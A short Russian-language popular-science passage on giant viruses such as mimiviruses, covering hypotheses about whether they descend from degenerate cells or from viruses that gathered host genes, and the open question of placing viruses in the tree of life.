«Неизвестно, как развивались эти большие вирусы», — сказал Дадли, назвав их «слонами» вирусного мира. «Это могут быть вырожденные клетки, которые стали паразитами других клеток (мимивирусы заражают амебу), или это могут быть более типичные вирусы, которые продолжают приобретать дополнительные гены хозяина», — добавила она.Мимивирусам, как и другим более мелким вирусам, требуется клеточный аппарат хозяина для производства белков. Однако их геном по-прежнему содержит много остатков генов, связанных с процессом трансляции. Возможно, что когда-то мимивирусы были независимыми клетками. Или они могли просто приобрести и накопить какие-то гены хозяина, — писал Весснер.
Такие открытия поднимают новые вопросы и открывают новые возможности для исследований. В будущем эти исследования могут дать ответы на фундаментальные вопросы о происхождении вирусов, о том, как они достигли своего нынешнего паразитарного состояния и следует ли включать вирусы в древо жизни.
Дополнительные ресурсы
.